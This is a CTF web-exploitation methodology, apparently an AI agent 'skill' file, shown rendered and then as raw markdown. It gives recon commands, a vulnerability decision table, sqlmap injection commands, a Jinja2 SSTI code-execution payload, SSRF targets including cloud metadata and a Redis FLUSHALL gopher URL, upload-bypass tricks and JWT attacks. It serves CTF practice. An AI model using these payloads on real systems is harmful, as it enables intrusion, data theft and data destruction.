CTF web methodology
1. Recon (always)
# Always start with these — in parallel
curl -sI http://target/ # headers
run_tool("ffuf", "-w wordlist -u http://target/FUZZ") # dir bust
run_tool("gobuster", "dir -u http://target -w wordlist")
run_tool("whatweb", "http://target") # tech stack
nikto -h http://target # web scanner
Source view:
view-source: — comments, hidden inputs, JS files
/robots.txt, /sitemap.xml, /.git/, /.env, /.DS_Store
wappalyzer / whatweb for stack — frameworks dictate attack class
2. Map the attack surface
For each endpoint:
- Method (GET/POST/PUT/PATCH)
- Parameters (URL, body, headers, cookies)
- Auth requirements
- Reflection points (does input echo back?)
- Storage points (does input persist?)
3. Decision tree by symptom
| Symptom |
Likely class |
Tool |
| Input echoed in HTML |
XSS |
manual + XSStrike |
| Error contains SQL |
SQLi |
sqlmap (registry) |
| URL parameter triggers fetch |
SSRF |
manual + gopherus for protocols |
Template syntax {{7*7}} → 49 |
SSTI |
tplmap, manual jinja2/twig payloads |
| Numeric ID in URL/body |
IDOR |
manual enum + Burp Repeater |
| Login form, error tells "user not found" vs "wrong pass" |
User enum |
manual |
| File upload |
Upload bypass |
BurpSuite, manual extension/MIME tricks |
Cookie: with base64/JSON |
Cookie tampering |
manual |
Authorization: Bearer eyJ... |
JWT |
jwt_tool, jwt-cracker |
__proto__ or constructor accepted |
Prototype pollution |
manual JS payloads |
| Race-prone action (claim, vote) |
Race condition |
turbo-intruder Burp ext |
| Java/PHP/Ruby with unsafe deserialize |
Deserialization |
ysoserial, phpggc |
4. Specific attack notes
SQLi
# Boolean-based, time-based, UNION
sqlmap -u "http://target/page?id=1" --batch --level=5 --risk=3 --dbs
# Cookie/header injection
sqlmap -u http://target/ --cookie="session=*" --level=5
# POST data
sqlmap -u http://target/login --data="user=*&pass=*"
SSTI
Identify engine first: {{7*7}} works in Jinja/Twig, ${7*7} in FreeMarker, <%= 7*7 %> in ERB.
Jinja2 RCE: {{ ''.__class__.__mro__[1].__subclasses__() }} — find subprocess/Popen.
SSRF
- Cloud metadata:
http://169.254.169.254/latest/meta-data/
- Localhost services:
http://127.0.0.1:port/
- Gopher for raw TCP:
gopher://localhost:6379/_FLUSHALL for redis
- DNS rebinding for filter bypass
File upload
Try in order: rename extension (.php → .phtml/.php5/.phar), MIME spoofing, double extension (file.jpg.php), null byte (file.php%00.jpg), magic byte prefix, .htaccess upload, polyglot (PHP-in-JPG).
JWT
jwt_tool <token> # decode + check
jwt_tool <token> -X a # alg=none
jwt_tool <token> -X i # weak HMAC
jwt_tool <token> -X k -pk public.pem # key confusion (RS→HS)
jwt-cracker <token> -d wordlist.txt # crack HMAC secret
5. Don't waste time on
- DDOS, brute-forcing rate-limited endpoints (CTF won't gate solves on that)
- Server fingerprinting beyond initial
whatweb (move on)
- Custom HTTP clients — use
curl or Burp Repeater
After solve
Use the writeup-template skill.
1---2name: ctf-web3description: Use when solving a CTF web challenge — SQLi, XSS, SSRF, SSTI, IDOR, auth bypass, file upload, deserialization, prototype pollution, race conditions, JWT attacks. Provides a decision tree and tool stack from this installer's web module. Triggers on "ctf web", "web challenge", "sqli", "xss", "ssti", "ssrf", "jwt".4---56# CTF web methodology78## 1. Recon (always)910```bash11# Always start with these — in parallel12curl -sI http://target/ # headers13run_tool("ffuf", "-w wordlist -u http://target/FUZZ") # dir bust14run_tool("gobuster", "dir -u http://target -w wordlist")15run_tool("whatweb", "http://target") # tech stack16nikto -h http://target # web scanner17```1819Source view:2021- `view-source:` — comments, hidden inputs, JS files22- `/robots.txt`, `/sitemap.xml`, `/.git/`, `/.env`, `/.DS_Store`23- `wappalyzer` / `whatweb` for stack — frameworks dictate attack class2425## 2. Map the attack surface2627For each endpoint:2829- Method (GET/POST/PUT/PATCH)30- Parameters (URL, body, headers, cookies)31- Auth requirements32- Reflection points (does input echo back?)33- Storage points (does input persist?)3435## 3. Decision tree by symptom3637| Symptom | Likely class | Tool |38| --- | --- | --- |39| Input echoed in HTML | XSS | manual + `XSStrike` |40| Error contains SQL | SQLi | `sqlmap` (registry) |41| URL parameter triggers fetch | SSRF | manual + `gopherus` for protocols |42| Template syntax `{{7*7}}` → `49` | SSTI | `tplmap`, manual jinja2/twig payloads |43| Numeric ID in URL/body | IDOR | manual enum + Burp Repeater |44| Login form, error tells "user not found" vs "wrong pass" | User enum | manual |45| File upload | Upload bypass | `BurpSuite`, manual extension/MIME tricks |46| `Cookie:` with base64/JSON | Cookie tampering | manual |47| `Authorization: Bearer eyJ...` | JWT | `jwt_tool`, `jwt-cracker` |48| `__proto__` or `constructor` accepted | Prototype pollution | manual JS payloads |49| Race-prone action (claim, vote) | Race condition | `turbo-intruder` Burp ext |50| Java/PHP/Ruby with unsafe deserialize | Deserialization | `ysoserial`, `phpggc` |5152## 4. Specific attack notes5354### SQLi5556```bash57# Boolean-based, time-based, UNION58sqlmap -u "http://target/page?id=1" --batch --level=5 --risk=3 --dbs5960# Cookie/header injection61sqlmap -u http://target/ --cookie="session=*" --level=56263# POST data64sqlmap -u http://target/login --data="user=*&pass=*"65```6667### SSTI6869Identify engine first: `{{7*7}}` works in Jinja/Twig, `${7*7}` in FreeMarker, `<%= 7*7 %>` in ERB.7071Jinja2 RCE: `{{ ''.__class__.__mro__[1].__subclasses__() }}` — find subprocess/Popen.7273### SSRF7475- Cloud metadata: `http://169.254.169.254/latest/meta-data/`76- Localhost services: `http://127.0.0.1:port/`77- Gopher for raw TCP: `gopher://localhost:6379/_FLUSHALL` for redis78- DNS rebinding for filter bypass7980### File upload8182Try in order: rename extension (.php → .phtml/.php5/.phar), MIME spoofing, double extension (file.jpg.php), null byte (file.php%00.jpg), magic byte prefix, .htaccess upload, polyglot (PHP-in-JPG).8384### JWT8586```bash87jwt_tool <token> # decode + check88jwt_tool <token> -X a # alg=none89jwt_tool <token> -X i # weak HMAC90jwt_tool <token> -X k -pk public.pem # key confusion (RS→HS)91jwt-cracker <token> -d wordlist.txt # crack HMAC secret92```9394## 5. Don't waste time on9596- DDOS, brute-forcing rate-limited endpoints (CTF won't gate solves on that)97- Server fingerprinting beyond initial `whatweb` (move on)98- Custom HTTP clients — use `curl` or Burp Repeater99100## After solve101102Use the `writeup-template` skill.